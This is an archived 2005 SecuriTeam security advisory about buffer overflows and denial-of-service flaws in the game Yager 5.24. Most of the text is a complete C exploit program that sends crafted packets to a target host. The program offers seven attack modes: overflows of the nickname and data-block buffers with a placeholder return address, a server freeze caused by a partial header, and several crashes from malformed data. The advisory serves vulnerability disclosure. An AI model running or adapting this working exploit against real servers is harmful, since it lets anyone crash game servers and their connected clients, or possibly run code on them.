Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NT] Yager Multiple Vulnerabilities (Multiple Buffer Overflows and DoS)

Subject: [NT] Yager Multiple Vulnerabilities (Multiple Buffer Overflows and DoS)
Date: 20 Apr 2005 11:25:30 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Yager Multiple Vulnerabilities (Multiple Buffer Overflows and DoS)
------------------------------------------------------------------------


SUMMARY

" <http://www.yager.de/en/index.html> Yager , a futuristic aerial 3D 
combat/action game, puts the player in the role of Magnus Tide, a noble, 
experienced freelance fighter-pilot on a mission to maintain the peace and 
status quo of his ultramodern world. His quest leads him through a variety 
of combat challenges."

The game Yager contains multiple buffer overflows that allow attackers to 
execute arbitrary code, and also due to lack of filtering allows attackers 
to crash or hang the game.

DETAILS

Vulnerable Systems:
 * Yager version 5.24

Nickname Buffer Overflow:
The game is affected by a buffer-overflow in the nickname field (ID 0x1e) 
that allows an attacker to execute malicious code.

Data Block Buffer Overflow:
The buffer used to receive the data from the socket is 256 bytes long 
while the maximum size of the data block is 65536 (a 16 bit number) 
causing a buffer-overflow.

Freeze Caused by Incomplete Data Block:
The server and the clients connected to it can be easily freezed through 
the sending of incomplete data. The problem is that the game is 
synchronized with the receiving of the network data so it is blocked until 
all the expected data is received. For example, the header of the data 
blocks is 10 bytes long so if we send 9 or less bytes we are able to 
freeze the game.

Multiple Crashes Caused by Corrupted Data:
The game doesn't use enough checks to verify the correctness of the data 
received so is possible to cause various crashes through the usage of 
malformed data.

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif

#define VER "0.1"
#define BUFFSZ (HEADSZ + 65536)
#define PORT 34855
#define TIMEOUT 3
#define HEADSZ 10
#define EIP "\xde\xc0\xad\xde"
#define CRASHSZ 100
#define NICKBOF "\x00\x00\x00\x00" /* vehicle type */ \
                    "\x01\x00\x00\x00" /* team */ \
                    "\xff\xff\xff\xff" /* nickname size, ignored! */ \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    EIP \
                    "aaaaaaaaaaaaaaaa\0"
#define PCKBOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aa" EIP

#define SHOW(x) printf(x "%n%s%n\n", &tmp, p, &len); \
                    p += (len - tmp) + 1;
#define SENDTO(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr 
*)&peer, sizeof(peer)) \
                      < 0) std_err();
#define RECVFROM if(timeout(sd) < 0) { \
                        fputs("\nError: socket timeout, no reply 
received\n\n", stdout); \
                        exit(1); \
                    } \
                    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                    if(len < 0) std_err();
#define SEND(x,y) if(send(sd, x, y, 0) \
                      < 0) std_err();

u_long resolv(char *host);
int timeout(int sock);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd,
            len,
            attack,
            tmp,
            autoport = 1;
    u_short port = PORT;
    u_char *buff,
            info[] =
                "Y_NET_YAGER_CLIENT\0"
                "\x00\x00" "\x00\x00",
            *p;
    struct yager_head {
        u_long type;
        u_short size;
        u_short pck1;
        u_short pck2;
    } *yh;

    setbuf(stdout, NULL);

    fputs("\n"
        "Yager <= 5.24 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web: http://aluigi.altervista.org\n";
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(auto)]\n"
            "\n"
            "Attacks:\n"
            " 1 = nickname buffer-overflow\n"
            " 2 = big data buffer-overflow\n"
            " 3 = freeze of server and connected clients\n"
            " 4 = crash using type 0x1d (in 0x0050e970)\n"
            " 5 = crash using type 0x22 (in 0x004fd2b8)\n"
            " 6 = crash using type 0x24 (in 0x004fd2f5)\n"
            " 7 = crash using type 0x28 (in 0x004b0f1b)\n"
            "\n", argv[0]);
        exit(1);
    }

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 3) {
        autoport = 0;
        port = atoi(argv[3]);
    }

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    printf("- target %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    if(autoport) {
        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        fputs("- request informations:\n", stdout);
        *(u_short *)(info + 19) = ~time(NULL);
        SENDTO(info);
        RECVFROM;
        close(sd);

        p = buff + 19;
        port = ntohs(*(u_short *)p);
        printf("\n Server port %d\n", port);
        p += 2;
        SHOW(" Map ");
        printf(" Version %d.%d\n", p[1], p[0]);
        p += 2;
        SHOW(" Server name ");
        p += 4;
        printf(" Players %d / %d\n\n", p[1], p[0]);

        peer.sin_port = htons(port);
    }

    attack = atoi(argv[1]);
    if(attack > 7) {
        fputs("\nError: you have chosen a wrong attack number\n\n", 
stdout);
        exit(1);
    }

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    yh = (struct yager_head *)buff;
    yh->pck1 = tmp = ~time(NULL) & 0xffff;
    yh->pck2 = 0;

    if(attack == 1) {
        yh->type = 0x1e;
        memcpy(buff + HEADSZ, NICKBOF, sizeof(NICKBOF) - 1);
        yh->size = sizeof(NICKBOF) - 1;
        fputs("- send long data block for nickname buffer-overflow\n", 
stdout);

    } else if(attack == 2) {
        yh->type = 0x00; // almost any other type is ok
        memcpy(buff + HEADSZ, PCKBOF, sizeof(PCKBOF) - 1);
        yh->size = sizeof(PCKBOF) - 1;
        fputs("- send long data block for packet buffer-overflow\n", 
stdout);

    } else if(attack == 3) {
        yh->type = 0x1b;
        yh->size = 0;
        printf("- server waits for %d bytes but we send a partial 
header\n", HEADSZ);
        tmp %= HEADSZ;
        if(tmp <= 0) tmp = 1;
        SEND(buff, tmp);
        fputs(" Server and connected clients should be freezed, press 
RETURN to stop the attack\n", stdout);
        fgetc(stdin);
        close(sd);
        return(0);

    } else {
        if(attack == 4) {
            yh->type = 0x1d;
        } else if(attack == 5) {
            yh->type = 0x22;
        } else if(attack == 6) {
            yh->type = 0x24;
        } else if(attack == 7) {
            yh->type = 0x28;
        }

        memset(buff + HEADSZ, 0xff, CRASHSZ);
        yh->size = CRASHSZ;
        printf("- send crash data with type 0x%08lx\n", yh->type);
    }

    SEND(buff, yh->size + HEADSZ);
    fputs("- check server status\n", stdout);
    if(!timeout(sd)) {
        if(recv(sd, buff, BUFFSZ, 0) < 0) {
            fputs("\nServer IS vulnerable!!!\n\n", stdout);
        } else {
            fputs("\nServer doesn't seem vulnerable\n\n", stdout);
        }
    } else {
        fputs("\nNo reply from the server, it is probably not 
vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

/* EOF */

In order to use winerr.h please see the address:  
<http://www.securiteam.com/windowsntfocus/5LP0M2KDPI.html> 
http://www.securiteam.com/windowsntfocus/5LP0M2KDPI.html


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/yagerbof-adv.txt> 
http://aluigi.altervista.org/adv/yagerbof-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NT] Yager Multiple Vulnerabilities (Multiple Buffer Overflows and DoS), SecuriTeam <=